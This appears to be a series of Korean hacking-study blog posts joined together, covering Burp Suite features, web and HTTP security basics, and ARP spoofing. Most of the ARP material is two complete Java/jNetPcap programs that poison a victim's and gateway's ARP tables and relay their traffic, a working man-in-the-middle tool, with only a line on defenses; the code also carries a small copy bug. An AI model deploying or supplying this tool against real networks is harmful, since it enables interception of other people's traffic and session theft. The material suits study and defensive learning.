HTTP 프록시

 

버프스위트(Burp Suite)

 

Target 메뉴에서는 접속한 호스트와 url 들을 트리 형태로 보여줌

 

선명한 것은 직접 방문한 것을 의미

 

HTTP history 에는 접속한 곳과 Method가 나와있음

 

그 중 가장 중요한 것이 cookie

 

cookie는 세션 정보를 담고 있기 때문

 

PHP세션 ID가 웹애플리케이션에서 사용하는 ID

 

옆에 Response를 보면 응답부분도 볼 수 있다

 

Spider는 웹사이트를 분석할 때 사용

 

Scanner는 웹사이트의 보안 취약점을 알려주는 것

 

Intruder는 요청메세지의 일부분을 지정하여 여러개를 반복해서 전송하는 것

 

value에 임의의 값을 계속해서 보낼 수 있는데 이러한 테스트 방식을 퍼징이라고 부른다

 

Repeater는 Intruder와 비슷하긴 하지만 수동으로 할 때 사용

 

HTTP history에서 하나를 골라 Repeater로 보내주고 Go를 불러 Response 값이 나옴을 알 수 있다

 

여기서 해당 문서의 백업 파일이 있는지 확인하려면 파일 명 뒤에 .bak을 붙혀주고 Go를 눌러주면 된다

 

있다면 정상대로 response가 출력될 것이고 없다면 404 not found가 뜰 것이다

 

 

 

 

 

 

'Hacking > 웹 해킹' 카테고리의 다른 글

공부(6)  (0) 2021.09.16
공부(5)  (0) 2021.09.16
공부(4)  (0) 2021.09.15
공부(3)  (0) 2021.09.15
공부(1)  (0) 2021.09.15

보안취약점이란 정보보안의 3요소 중 최소 한가지 영향을 미치는 소프트웨어 버그

 

정보보안의 3요소

 

기밀성

 

무결성

 

가용성

 

해킹은 보안취약점을 공격하는 것

 

해킹의 기초 단계

 

1. 정찰 2. 스캐닝 및 취약점 분석 // 정보수집

3. 침투 // 공격(익스플로잇)

4. 권한상승 5. 백도어 관리 6. 흔적 지우기 //포스트 익스플로잇

 

웹 아키텍쳐

 

웹은 크게 클라이언트 영역과 서버영역으로 나뉜다

 

클라이언트에서는 웹브라우저를 이용한다

 

서버영역은 로직 티어(웹서버, 웹프라임워크)와 데이터 티어(데이터베이스)로 나뉨

 

HTTP(Hyper Text Transfer Protocol)

 

주로 80번 포트를 이용하여 서비스 https://는 보안이 강화된 프로토콜로 기본으로 443번 포트를 이용

 

HTTP 요청과 HTTP 응답으로 이루어짐

 

클라이언트가 요청하고 서버가 응답

 

HTTP 응답코드

1XX:정보전달

2XX:성공

3XX:리다이렉션

4XX:클라이언트 쪽 에러

5XX:서버 에러

 

세션 유지와 쿠키

 

HTTP는 stateless이기 때문에 세션ID를 사용하여 이전 상태를 유지(한번 로그인 후 다시 물어보지 않음)

세션ID는 보통 쿠키로 전달

쿠키란?

변수=값의 집합

서버는 Set-Cookie헤더를 이용해 쿠키를 전달하고, 브라우저에서 이를 저장해두었다가 Cookie 헤더에 전송

세션ID를 탈취함으로 세션 하이재킹 공격 가능

'Hacking > 웹 해킹' 카테고리의 다른 글

공부(6)  (0) 2021.09.16
공부(5)  (0) 2021.09.16
공부(4)  (0) 2021.09.15
공부(3)  (0) 2021.09.15
공부(2)  (0) 2021.09.15

감염된 피해자 패킷 재전송

 

휴대폰 핫스팟을 키고 두대의 컴퓨터를 연결 후

 

target ip에다가는 핫스팟 ip를

 

sender ip에다가는 피해자 ip를 넣어주면

 

성공적으로 실행이 된다

 

ARP Spoofing의 대응 방법으로는

 

ARP 테이블이 변조되지 않도록 정적으로 설정하고

 

HTTPS등 패킷 암호화를 사용하는 서비스를 이용

 

controller.java

package controller;

import java.net.InetAddress;
import java.net.URL;
import java.nio.ByteBuffer;
import java.util.ArrayList;
import java.util.ResourceBundle;

import org.jnetpcap.Pcap;
import org.jnetpcap.PcapHeader;
import org.jnetpcap.PcapIf;
import org.jnetpcap.nio.JBuffer;
import org.jnetpcap.nio.JMemory;
import org.jnetpcap.packet.JRegistry;
import org.jnetpcap.packet.PcapPacket;
import org.jnetpcap.protocol.lan.Ethernet;
import org.jnetpcap.protocol.network.Ip4;

import javafx.application.Platform;
import javafx.collections.FXCollections;
import javafx.collections.ObservableList;
import javafx.fxml.FXML;
import javafx.fxml.Initializable;
import javafx.scene.control.Button;
import javafx.scene.control.ListView;
import javafx.scene.control.TextArea;
import javafx.scene.control.TextField;
import model.ARP;
import model.Util;

public class Controller implements Initializable {
	
	@FXML
	private ListView<String> networkListView;
	
	@FXML
	private TextArea textArea;
	
	@FXML
	private Button pickButton;
	
	@FXML
	private TextField myIP;
	
	@FXML
	private TextField senderIP;
	
	@FXML
	private TextField targetIP;
	
	@FXML
	private Button getMACButton;
	
	ObservableList<String> networkList = FXCollections.observableArrayList();
	
	private ArrayList<PcapIf> allDevs = null;
	
	@SuppressWarnings("deprecation")
	@Override
	public void initialize(URL location, ResourceBundle resources) {
		allDevs = new ArrayList<PcapIf>();
		StringBuilder errbuf = new StringBuilder();
		int r = Pcap.findAllDevs(allDevs, errbuf);
		if (r == Pcap.NOT_OK || allDevs.isEmpty()) {
			textArea.appendText("네트워크 장치를 찾을 수 없습니다.\n" + errbuf.toString() + "\n");
			return;
		}
		textArea.appendText("네트워크 장치를 찾았습니다.\n원하시는 장치를 선택해주세요.\n");
		for (PcapIf device : allDevs) {
			networkList.add(device.getName() + " " +
					((device.getDescription() != null) ? device.getDescription() : "설명 없음"));
		}
		networkListView.setItems(networkList);
	}
	
	public void networkPickAction() {
		if(networkListView.getSelectionModel().getSelectedIndex() < 0) {
			return;
		}
		Main.device = allDevs.get(networkListView.getSelectionModel().getSelectedIndex());
		networkListView.setDisable(true);
		pickButton.setDisable(true);
		
		int snaplen = 64 * 1024;
		int flags = Pcap.MODE_PROMISCUOUS;
		int timeout = 1;
		
		StringBuilder errbuf = new StringBuilder();
		Main.pcap = Pcap.openLive(Main.device.getName(), snaplen, flags, timeout, errbuf);
		
		if (Main.pcap == null) {
			textArea.appendText("네트워크 장치를 열 수 없습니다.\n" + errbuf.toString() + "\n");
			return;
		}
		textArea.appendText("장치선택 : " + Main.device.getName() + "\n");
		textArea.appendText("네트워크 장치를 활성화했습니다.\n");
	}
	
	public void getMACAction() {
		if(!pickButton.isDisable()) {
			textArea.appendText("네트워크 장치를 먼저 선택해주세요.\n");
			return;
		}
		
		ARP arp = new ARP();
		Ethernet eth = new Ethernet();
		PcapHeader header = new PcapHeader(JMemory.POINTER);
		JBuffer buf = new JBuffer(JMemory.POINTER);
		ByteBuffer buffer = null;
		
		int id = JRegistry.mapDLTToId(Main.pcap.datalink());
		
		try {
			Main.myMAC = Main.device.getHardwareAddress();
			Main.myIP = InetAddress.getByName(myIP.getText()).getAddress();
			Main.senderIP = InetAddress.getByName(senderIP.getText()).getAddress();
			Main.targetIP = InetAddress.getByName(targetIP.getText()).getAddress();
		}	catch (Exception e) {
				textArea.appendText("IP 주소가 잘못되었습니다.\n");
				return;
		}
		
		myIP.setDisable(true);
		senderIP.setDisable(true);
		targetIP.setDisable(true);
		getMACButton.setDisable(true);
		
		arp = new ARP();
		arp.makeARPRequest(Main.myMAC, Main.myIP, Main.targetIP);
		buffer = ByteBuffer.wrap(arp.getPacket());
		if (Main.pcap.sendPacket(buffer) != Pcap.OK) {
			System.out.println(Main.pcap.getErr());
		}
		textArea.appendText("타겟에게 ARP Request를 보냈습니다\n" +
				Util.bytesToString(arp.getPacket()) + "\n");
		
		long targetStartTime = System.currentTimeMillis();
		Main.targetMAC = new byte[6];
		while (Main.pcap.nextEx(header, buf) != Pcap.NEXT_EX_NOT_OK) {
			if (System.currentTimeMillis() - targetStartTime >= 500) {
				textArea.appendText("타겟이 응답하지 않습니다.\n");
				return;
			}
			PcapPacket packet = new PcapPacket(header, buf);
			packet.scan(id);
			byte[] sourceIP = new byte[4];
			System.arraycopy(packet.getByteArray(0, packet.size()), 28, sourceIP, 0, 4);
			if (packet.getByte(12) == 0x08 && packet.getByte(13) == 0x06
					&& packet.getByte(20) == 0x00 && packet.getByte(21) == 0x02
					&& Util.bytesToString(sourceIP).equals(Util.bytesToString(Main.targetIP))
					&& packet.hasHeader(eth)) {
				Main.targetMAC = eth.source();
				break;
			}	else {
				continue;
			}
		}
		
		textArea.appendText("타겟 맥 주소: " +
				Util.bytesToString(Main.targetMAC) + "\n");
	
	
	arp = new ARP();
	arp.makeARPRequest(Main.myMAC, Main.myIP, Main.senderIP);
	buffer = ByteBuffer.wrap(arp.getPacket());
	if (Main.pcap.sendPacket(buffer) != Pcap.OK) {
		System.out.println(Main.pcap.getErr());
	}
	textArea.appendText("타겟에게 ARP Request를 보냈습니다\n" +
			Util.bytesToString(arp.getPacket()) + "\n");
	
	long senderStartTime = System.currentTimeMillis();
	Main.senderMAC = new byte[6];
	while (Main.pcap.nextEx(header, buf) != Pcap.NEXT_EX_NOT_OK) {
		if (System.currentTimeMillis() - senderStartTime >= 500) {
			textArea.appendText("타겟이 응답하지 않습니다.\n");
			return;
		}
		PcapPacket packet = new PcapPacket(header, buf);
		packet.scan(id);
		byte[] sourceIP = new byte[4];
		System.arraycopy(packet.getByteArray(0, packet.size()), 28, senderIP, 0, 4);
		if (packet.getByte(12) == 0x08 && packet.getByte(13) == 0x06
				&& packet.getByte(20) == 0x00 && packet.getByte(21) == 0x02
				&& Util.bytesToString(sourceIP).equals(Util.bytesToString(Main.senderIP))
				&& packet.hasHeader(eth)) {
			Main.senderMAC = eth.source();
			break;
		}	else {
			continue;
		}
	}
	
	textArea.appendText("센더 맥 주소: " +
			Util.bytesToString(Main.senderMAC) + "\n");
	
	new SenderARPSpoofing().start();
	new TargetARPSpoofing().start();
	new ARPRelay().start();
	}
	
	class SenderARPSpoofing extends Thread {
		@Override
		public void run() {
			ARP arp = new ARP();
			arp.makeARPReply(Main.senderMAC, Main.myMAC, Main.myMAC, 
					Main.targetIP, Main.senderMAC, Main.senderIP);
			Platform.runLater(() -> {
				textArea.appendText("센더에게 감염된 ARP Reply 패킷을 계속해서 전송합니다.\n");
			});
			while(true) {
				ByteBuffer buffer = ByteBuffer.wrap(arp.getPacket());
				Main.pcap.sendPacket(buffer);
				try {
					Thread.sleep(200);
				} catch (Exception e) {
					e.printStackTrace();
				}
			}
		}
	}
	
	class TargetARPSpoofing extends Thread {
		@Override
		public void run() {
			ARP arp = new ARP();
			arp.makeARPReply(Main.targetMAC, Main.myMAC, Main.myMAC, 
					Main.senderIP, Main.targetMAC, Main.targetIP);
			Platform.runLater(() -> {
				textArea.appendText("타겟에게 감염된 ARP Reply 패킷을 계속해서 전송합니다.\n");
			});
			while(true) {
				ByteBuffer buffer = ByteBuffer.wrap(arp.getPacket());
				Main.pcap.sendPacket(buffer);
				try {
					Thread.sleep(200);
				} catch (Exception e) {
					e.printStackTrace();
				}
			}
		}
	}
	
	class ARPRelay extends Thread {
		@Override
		public void run() {
			Ip4 ip = new Ip4();
			PcapHeader header = new PcapHeader(JMemory.POINTER);
			JBuffer buf = new JBuffer(JMemory.POINTER);
			Platform.runLater(() -> {
					textArea.appendText("ARP Relay를 진행합니다.\n");
		});			
			while (Main.pcap.nextEx(header, buf) != Pcap.NEXT_EX_NOT_OK) {
				PcapPacket packet = new PcapPacket(header, buf);
				int id = JRegistry.mapDLTToId(Main.pcap.datalink());
				packet.scan(id);
				
				byte[] data = packet.getByteArray(0, packet.size());
				byte[] tempDestinationMAC = new byte[6];
				byte[] tempSourceMAC = new byte[6];
				
				System.arraycopy(data, 0, tempDestinationMAC, 0, 6);
				System.arraycopy(data, 6, tempSourceMAC, 0, 6);
				
				if(Util.bytesToString(tempDestinationMAC).equals(Util.bytesToString(Main.myMAC)) && 
						Util.bytesToString(tempSourceMAC).equals(Util.bytesToString(Main.myMAC))) {
					if(packet.hasHeader(ip)) {
						if (Util.bytesToString(ip.source()).equals(Util.bytesToString(Main.myIP))) {
							System.arraycopy(Main.targetMAC, 0, data, 0, 6);
							ByteBuffer buffer = ByteBuffer.wrap(data);
							Main.pcap.sendPacket(buffer);
						}
					}
				}
				
				else if(Util.bytesToString(tempDestinationMAC).equals(Util.bytesToString(Main.myMAC)) &&
						Util.bytesToString(tempSourceMAC).equals(Util.bytesToString(Main.senderMAC))) {
					if(packet.hasHeader(ip)) {
						System.arraycopy(Main.targetMAC, 0, data, 0, 6);
						System.arraycopy(Main.myMAC, 0, data, 6, 6);
						ByteBuffer buffer = ByteBuffer.wrap(data);
						Main.pcap.sendPacket(buffer);
					}
				}
				
				else if(Util.bytesToString(tempDestinationMAC).equals(Util.bytesToString(Main.myMAC)) &&
						Util.bytesToString(tempSourceMAC).equals(Util.bytesToString(Main.targetMAC))) {
					if(packet.hasHeader(ip)) {
						if (Util.bytesToString(ip.destination()).equals(Util.bytesToString(Main.senderIP))) {
							System.arraycopy(Main.senderMAC, 0, data, 0, 6);
							System.arraycopy(Main.myMAC, 0, data, 6, 6);
							ByteBuffer buffer = ByteBuffer.wrap(data);
							Main.pcap.sendPacket(buffer);
						}
					}
				}
				System.out.println(Util.bytesToString(buf.getByteArray(0, buf.size())));
			}
		}
	}
}

'Hacking > ARP 스푸핑' 카테고리의 다른 글

공부(16)  (0) 2021.09.13
공부(15)  (0) 2021.09.12
공부(14)  (0) 2021.09.12
공부(13)  (0) 2021.09.12
공부(12)  (0) 2021.09.11

ARP 테이블 감염시키기

 

피해자 컴퓨터한테 이렇게 말해주는 것

 

타겟아이피를 가지는 컴퓨터 즉 공유기 MAC주소는 내 MAC 주소라고

 

이걸 보내줌으로써 피해자컴퓨터에서는 공유기의 MAC주소가 내 MAC주소가 된다

 

이제 피해자는 나를 공유기로 착각하고 게이트웨이에게 보내줘야할 패킷을 나에게 전송하게 됨

 

 

Controller.java

package controller;

import java.net.InetAddress;
import java.net.URL;
import java.nio.ByteBuffer;
import java.util.ArrayList;
import java.util.ResourceBundle;

import org.jnetpcap.Pcap;
import org.jnetpcap.PcapHeader;
import org.jnetpcap.PcapIf;
import org.jnetpcap.nio.JBuffer;
import org.jnetpcap.nio.JMemory;
import org.jnetpcap.packet.JRegistry;
import org.jnetpcap.packet.PcapPacket;
import org.jnetpcap.protocol.lan.Ethernet;

import javafx.application.Platform;
import javafx.collections.FXCollections;
import javafx.collections.ObservableList;
import javafx.fxml.FXML;
import javafx.fxml.Initializable;
import javafx.scene.control.Button;
import javafx.scene.control.ListView;
import javafx.scene.control.TextArea;
import javafx.scene.control.TextField;
import model.ARP;
import model.Util;

public class Controller implements Initializable {
	
	@FXML
	private ListView<String> networkListView;
	
	@FXML
	private TextArea textArea;
	
	@FXML
	private Button pickButton;
	
	@FXML
	private TextField myIP;
	
	@FXML
	private TextField senderIP;
	
	@FXML
	private TextField targetIP;
	
	@FXML
	private Button getMACButton;
	
	ObservableList<String> networkList = FXCollections.observableArrayList();
	
	private ArrayList<PcapIf> allDevs = null;
	
	@SuppressWarnings("deprecation")
	@Override
	public void initialize(URL location, ResourceBundle resources) {
		allDevs = new ArrayList<PcapIf>();
		StringBuilder errbuf = new StringBuilder();
		int r = Pcap.findAllDevs(allDevs, errbuf);
		if (r == Pcap.NOT_OK || allDevs.isEmpty()) {
			textArea.appendText("네트워크 장치를 찾을 수 없습니다.\n" + errbuf.toString() + "\n");
			return;
		}
		textArea.appendText("네트워크 장치를 찾았습니다.\n원하시는 장치를 선택해주세요.\n");
		for (PcapIf device : allDevs) {
			networkList.add(device.getName() + " " +
					((device.getDescription() != null) ? device.getDescription() : "설명 없음"));
		}
		networkListView.setItems(networkList);
	}
	
	public void networkPickAction() {
		if(networkListView.getSelectionModel().getSelectedIndex() < 0) {
			return;
		}
		Main.device = allDevs.get(networkListView.getSelectionModel().getSelectedIndex());
		networkListView.setDisable(true);
		pickButton.setDisable(true);
		
		int snaplen = 64 * 1024;
		int flags = Pcap.MODE_PROMISCUOUS;
		int timeout = 1;
		
		StringBuilder errbuf = new StringBuilder();
		Main.pcap = Pcap.openLive(Main.device.getName(), snaplen, flags, timeout, errbuf);
		
		if (Main.pcap == null) {
			textArea.appendText("네트워크 장치를 열 수 없습니다.\n" + errbuf.toString() + "\n");
			return;
		}
		textArea.appendText("장치선택 : " + Main.device.getName() + "\n");
		textArea.appendText("네트워크 장치를 활성화했습니다.\n");
	}
	
	public void getMACAction() {
		if(!pickButton.isDisable()) {
			textArea.appendText("네트워크 장치를 먼저 선택해주세요.\n");
			return;
		}
		
		ARP arp = new ARP();
		Ethernet eth = new Ethernet();
		PcapHeader header = new PcapHeader(JMemory.POINTER);
		JBuffer buf = new JBuffer(JMemory.POINTER);
		ByteBuffer buffer = null;
		
		int id = JRegistry.mapDLTToId(Main.pcap.datalink());
		
		try {
			Main.myMAC = Main.device.getHardwareAddress();
			Main.myIP = InetAddress.getByName(myIP.getText()).getAddress();
			Main.senderIP = InetAddress.getByName(senderIP.getText()).getAddress();
			Main.targetIP = InetAddress.getByName(targetIP.getText()).getAddress();
		}	catch (Exception e) {
				textArea.appendText("IP 주소가 잘못되었습니다.\n");
				return;
		}
		
		myIP.setDisable(true);
		senderIP.setDisable(true);
		targetIP.setDisable(true);
		getMACButton.setDisable(true);
		
		arp = new ARP();
		arp.makeARPRequest(Main.myMAC, Main.myIP, Main.targetIP);
		buffer = ByteBuffer.wrap(arp.getPacket());
		if (Main.pcap.sendPacket(buffer) != Pcap.OK) {
			System.out.println(Main.pcap.getErr());
		}
		textArea.appendText("타겟에게 ARP Request를 보냈습니다\n" +
				Util.bytesToString(arp.getPacket()) + "\n");
		
		long targetStartTime = System.currentTimeMillis();
		Main.targetMAC = new byte[6];
		while (Main.pcap.nextEx(header, buf) != Pcap.NEXT_EX_NOT_OK) {
			if (System.currentTimeMillis() - targetStartTime >= 500) {
				textArea.appendText("타겟이 응답하지 않습니다.\n");
				return;
			}
			PcapPacket packet = new PcapPacket(header, buf);
			packet.scan(id);
			byte[] sourceIP = new byte[4];
			System.arraycopy(packet.getByteArray(0, packet.size()), 28, sourceIP, 0, 4);
			if (packet.getByte(12) == 0x08 && packet.getByte(13) == 0x06
					&& packet.getByte(20) == 0x00 && packet.getByte(21) == 0x02
					&& Util.bytesToString(sourceIP).equals(Util.bytesToString(Main.targetIP))
					&& packet.hasHeader(eth)) {
				Main.targetMAC = eth.source();
				break;
			}	else {
				continue;
			}
		}
		
		textArea.appendText("타겟 맥 주소: " +
				Util.bytesToString(Main.targetMAC) + "\n");
	
	
	arp = new ARP();
	arp.makeARPRequest(Main.myMAC, Main.myIP, Main.senderIP);
	buffer = ByteBuffer.wrap(arp.getPacket());
	if (Main.pcap.sendPacket(buffer) != Pcap.OK) {
		System.out.println(Main.pcap.getErr());
	}
	textArea.appendText("타겟에게 ARP Request를 보냈습니다\n" +
			Util.bytesToString(arp.getPacket()) + "\n");
	
	long senderStartTime = System.currentTimeMillis();
	Main.senderMAC = new byte[6];
	while (Main.pcap.nextEx(header, buf) != Pcap.NEXT_EX_NOT_OK) {
		if (System.currentTimeMillis() - senderStartTime >= 500) {
			textArea.appendText("타겟이 응답하지 않습니다.\n");
			return;
		}
		PcapPacket packet = new PcapPacket(header, buf);
		packet.scan(id);
		byte[] sourceIP = new byte[4];
		System.arraycopy(packet.getByteArray(0, packet.size()), 28, senderIP, 0, 4);
		if (packet.getByte(12) == 0x08 && packet.getByte(13) == 0x06
				&& packet.getByte(20) == 0x00 && packet.getByte(21) == 0x02
				&& Util.bytesToString(sourceIP).equals(Util.bytesToString(Main.senderIP))
				&& packet.hasHeader(eth)) {
			Main.senderMAC = eth.source();
			break;
		}	else {
			continue;
		}
	}
	
	textArea.appendText("센더 맥 주소: " +
			Util.bytesToString(Main.senderMAC) + "\n");
	
	new SenderARPSpoofing().start();
	new TargetARPSpoofing().start();
	}
	
	class SenderARPSpoofing extends Thread {
		@Override
		public void run() {
			ARP arp = new ARP();
			arp.makeARPReply(Main.senderMAC, Main.myMAC, Main.myMAC, 
					Main.targetIP, Main.senderMAC, Main.senderIP);
			Platform.runLater(() -> {
				textArea.appendText("센더에게 감염된 ARP Reply 패킷을 계속해서 전송합니다.\n");
			});
			while(true) {
				ByteBuffer buffer = ByteBuffer.wrap(arp.getPacket());
				Main.pcap.sendPacket(buffer);
				try {
					Thread.sleep(200);
				} catch (Exception e) {
					e.printStackTrace();
				}
			}
		}
	}
	
	class TargetARPSpoofing extends Thread {
		@Override
		public void run() {
			ARP arp = new ARP();
			arp.makeARPReply(Main.targetMAC, Main.myMAC, Main.myMAC, 
					Main.senderIP, Main.targetMAC, Main.targetIP);
			Platform.runLater(() -> {
				textArea.appendText("타겟에게 감염된 ARP Reply 패킷을 계속해서 전송합니다.\n");
			});
			while(true) {
				ByteBuffer buffer = ByteBuffer.wrap(arp.getPacket());
				Main.pcap.sendPacket(buffer);
				try {
					Thread.sleep(200);
				} catch (Exception e) {
					e.printStackTrace();
				}
			}
		}
	}
}

 

 

 

'Hacking > ARP 스푸핑' 카테고리의 다른 글

공부(17)  (0) 2021.09.13
공부(15)  (0) 2021.09.12
공부(14)  (0) 2021.09.12
공부(13)  (0) 2021.09.12
공부(12)  (0) 2021.09.11

+ Recent posts